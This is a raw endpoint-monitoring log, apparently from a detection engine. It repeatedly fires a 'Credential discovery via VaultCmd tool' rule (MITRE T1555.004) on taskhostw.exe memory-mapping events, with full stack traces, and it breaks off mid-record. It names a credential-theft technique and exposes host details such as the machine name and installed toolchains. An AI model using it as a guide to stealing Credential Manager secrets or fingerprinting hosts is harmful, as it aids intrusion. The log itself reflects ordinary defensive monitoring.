C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 392687 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 7 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.4216408 +0100 CET + Params: file_key➜ ffff808cc2f871b0, file_path➜ , offset➜ 0, pid➜ 6700, protection➜ READONLY, section_type➜ DATA, view_base➜ 192a8a70000, view_size➜ 1384448 + Metadata: tactic.id: TA0006, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T22:58:44+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1309c64 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x604|0xfffff802c130c59b C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseRundownProtectionCacheAwareEx+0x6db|0xfffff802c1874c3c C:\WINDOWS\system32\ntoskrnl.exe!RtlPrefixUnicodeString+0x3bcc|0xfffff802c1ad29b9 C:\WINDOWS\system32\ntoskrnl.exe!WmiQueryTraceInformation+0x43c9|0xfffff802c17bfc0b C:\WINDOWS\system32\ntoskrnl.exe!WheaUnregisterInUsePageOfflineNotification+0x7bdb|0xfffff802c1347d64 C:\WINDOWS\system32\ntoskrnl.exe!Ordinal7+0xd4|0xfffff802c1489a65 C:\WINDOWS\system32\ntoskrnl.exe!KeExpandKernelStackAndCallout+0x15|0xfffff802c1ad2b18 C:\WINDOWS\system32\ntoskrnl.exe!WmiQueryTraceInformation+0x4528|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea35d4 C:\Windows\System32\ntdll.dll!ZwCreateKey|0x7ffb7505b7c9 C:\Windows\System32\KernelBase.dll!RegCloseKey|0x7ffb7505844d C:\Windows\System32\KernelBase.dll!RegCreateKeyExInternalW|0x7ffb75057df2 C:\Windows\System32\KernelBase.dll!RegCreateKeyExInternalW|0x7ffb7505706f C:\Windows\System32\KernelBase.dll!RegCreateKeyExW|0x7ffb54d13c9b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13bce C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d12a1b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d14258 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1117f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d10c06 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d10d49 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0f9c1 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d040a6 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb549642bf C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54964e21 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549650a3 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54960e4a C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54965ae0 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549616ee C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54963dd9 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54d1af22 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d18027 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d133cc C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13232 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d16df7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0610f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 392923 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 7 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.4418679 +0100 CET + Params: file_key➜ ffff808cc3ad8a00, file_path➜ , offset➜ 24576, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb54860000, view_size➜ 811008 + Metadata: tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T22:58:44+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1309c64 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x604|0xfffff802c130c59b C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseRundownProtectionCacheAwareEx+0x6db|0xfffff802c1874c3c C:\WINDOWS\system32\ntoskrnl.exe!RtlPrefixUnicodeString+0x3bcc|0xfffff802c1ad29b9 C:\WINDOWS\system32\ntoskrnl.exe!WmiQueryTraceInformation+0x43c9|0xfffff802c17bfc0b C:\WINDOWS\system32\ntoskrnl.exe!WheaUnregisterInUsePageOfflineNotification+0x7bdb|0xfffff802c1347d64 C:\WINDOWS\system32\ntoskrnl.exe!Ordinal7+0xd4|0xfffff802c1489a65 C:\WINDOWS\system32\ntoskrnl.exe!KeExpandKernelStackAndCallout+0x15|0xfffff802c1ad2b18 C:\WINDOWS\system32\ntoskrnl.exe!WmiQueryTraceInformation+0x4528|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea35d4 C:\Windows\System32\ntdll.dll!ZwCreateKey|0x7ffb7505b7c9 C:\Windows\System32\KernelBase.dll!RegCloseKey|0x7ffb7505844d C:\Windows\System32\KernelBase.dll!RegCreateKeyExInternalW|0x7ffb75057df2 C:\Windows\System32\KernelBase.dll!RegCreateKeyExInternalW|0x7ffb7505706f C:\Windows\System32\KernelBase.dll!RegCreateKeyExW|0x7ffb54d13c9b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d3536b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13af3 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d12a1b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d14258 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1117f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d10c06 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d10d49 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0f9c1 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d040a6 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb549642bf C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54964e21 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549650a3 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54960e4a C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54965ae0 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549616ee C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54963dd9 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54d1af22 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d18027 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d133cc C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13232 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d16df7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0610f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 392938 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.4431991 +0100 CET + Params: file_key➜ ffff808cc2399700, file_path➜ , offset➜ 8192, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb72a00000, view_size➜ 184320 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, technique.id: T1555, technique.name: Credentials from Password Stores, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, tactic.id: TA0006 + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T22:58:44+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1309c64 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x604|0xfffff802c130c59b C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseRundownProtectionCacheAwareEx+0x6db|0xfffff802c1874c3c C:\WINDOWS\system32\ntoskrnl.exe!RtlPrefixUnicodeString+0x3bcc|0xfffff802c1ad29b9 C:\WINDOWS\system32\ntoskrnl.exe!WmiQueryTraceInformation+0x43c9|0xfffff802c17bfc0b C:\WINDOWS\system32\ntoskrnl.exe!WheaUnregisterInUsePageOfflineNotification+0x7bdb|0xfffff802c1347d64 C:\WINDOWS\system32\ntoskrnl.exe!Ordinal7+0xd4|0xfffff802c1489a65 C:\WINDOWS\system32\ntoskrnl.exe!KeExpandKernelStackAndCallout+0x15|0xfffff802c1ad2b18 C:\WINDOWS\system32\ntoskrnl.exe!WmiQueryTraceInformation+0x4528|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea35d4 C:\Windows\System32\ntdll.dll!ZwCreateKey|0x7ffb7505b7c9 C:\Windows\System32\KernelBase.dll!RegCloseKey|0x7ffb7505844d C:\Windows\System32\KernelBase.dll!RegCreateKeyExInternalW|0x7ffb75057df2 C:\Windows\System32\KernelBase.dll!RegCreateKeyExInternalW|0x7ffb7505706f C:\Windows\System32\KernelBase.dll!RegCreateKeyExW|0x7ffb54d13c9b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d35394 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13af3 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d12a1b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d14258 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1117f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d10c06 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d10d49 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0f9c1 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d040a6 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb549642bf C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54964e21 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549650a3 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54960e4a C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54965ae0 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549616ee C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54963dd9 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54d1af22 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d18027 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d133cc C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13232 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d16df7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0610f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 392944 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.4443343 +0100 CET + Params: file_key➜ ffff808cc209fa00, file_path➜ , offset➜ 20480, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb74af0000, view_size➜ 417792 + Metadata: tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.name: Credentials from Password Stores, rule.name: Credential discovery via VaultCmd tool, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, subtechnique.id: T1555.004 + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T22:58:44+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1309c64 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x604|0xfffff802c130c59b C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseRundownProtectionCacheAwareEx+0x6db|0xfffff802c1874c3c C:\WINDOWS\system32\ntoskrnl.exe!RtlPrefixUnicodeString+0x3bcc|0xfffff802c1ad29b9 C:\WINDOWS\system32\ntoskrnl.exe!WmiQueryTraceInformation+0x43c9|0xfffff802c17bfc0b C:\WINDOWS\system32\ntoskrnl.exe!WheaUnregisterInUsePageOfflineNotification+0x7bdb|0xfffff802c1347d64 C:\WINDOWS\system32\ntoskrnl.exe!Ordinal7+0xd4|0xfffff802c1489a65 C:\WINDOWS\system32\ntoskrnl.exe!KeExpandKernelStackAndCallout+0x15|0xfffff802c1ad2b18 C:\WINDOWS\system32\ntoskrnl.exe!WmiQueryTraceInformation+0x4528|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea35d4 C:\Windows\System32\ntdll.dll!ZwCreateKey|0x7ffb7505b7c9 C:\Windows\System32\KernelBase.dll!RegCloseKey|0x7ffb7505844d C:\Windows\System32\KernelBase.dll!RegCreateKeyExInternalW|0x7ffb75057df2 C:\Windows\System32\KernelBase.dll!RegCreateKeyExInternalW|0x7ffb7505706f C:\Windows\System32\KernelBase.dll!RegCreateKeyExW|0x7ffb54d13c9b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13bce C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d12a1b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d14258 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1117f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d10c06 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d10d49 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0f9c1 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d040a6 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb549642bf C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54964e21 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549650a3 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54960e4a C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54965ae0 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549616ee C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54963dd9 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54d1af22 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d18027 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d133cc C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13232 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d16df7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0610f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 392951 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 6 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.4467673 +0100 CET + Params: file_key➜ ffff808cc601b170, file_path➜ , offset➜ 12288, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb54720000, view_size➜ 1294336 + Metadata: technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, subtechnique.id: T1555.004 + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T22:58:44+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1256899 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c13111a6 C:\WINDOWS\system32\ntoskrnl.exe!PsGetThreadServerSilo+0x576|0xfffff802544e6d24 C:\WINDOWS\System32\drivers\fileinfo.sys!?|0xfffff80252c382cf C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x12df|0xfffff80252c379b0 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x9c0|0xfffff80252ca7d00 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltAllocateFileLock+0x1c30|0xfffff802c135d3ed C:\WINDOWS\system32\ntoskrnl.exe!IofCallDriver+0xcd|0xfffff802c185f8d5 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x44a5|0xfffff802c185d800 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x23d0|0xfffff802c185b631 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x201|0xfffff802c18ef86f C:\WINDOWS\system32\ntoskrnl.exe!NtCreateFile+0x13cf|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea39d4 C:\Windows\System32\ntdll.dll!ZwQueryAttributesFile|0x7ffb7508df99 C:\Windows\System32\KernelBase.dll!GetFileAttributesW|0x7ffb7508cd4b C:\Windows\System32\KernelBase.dll!PathFileExistsW|0x7ffb54d29f87 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d16c80 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0610f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 398650 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 7 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.9954335 +0100 CET + Params: file_key➜ 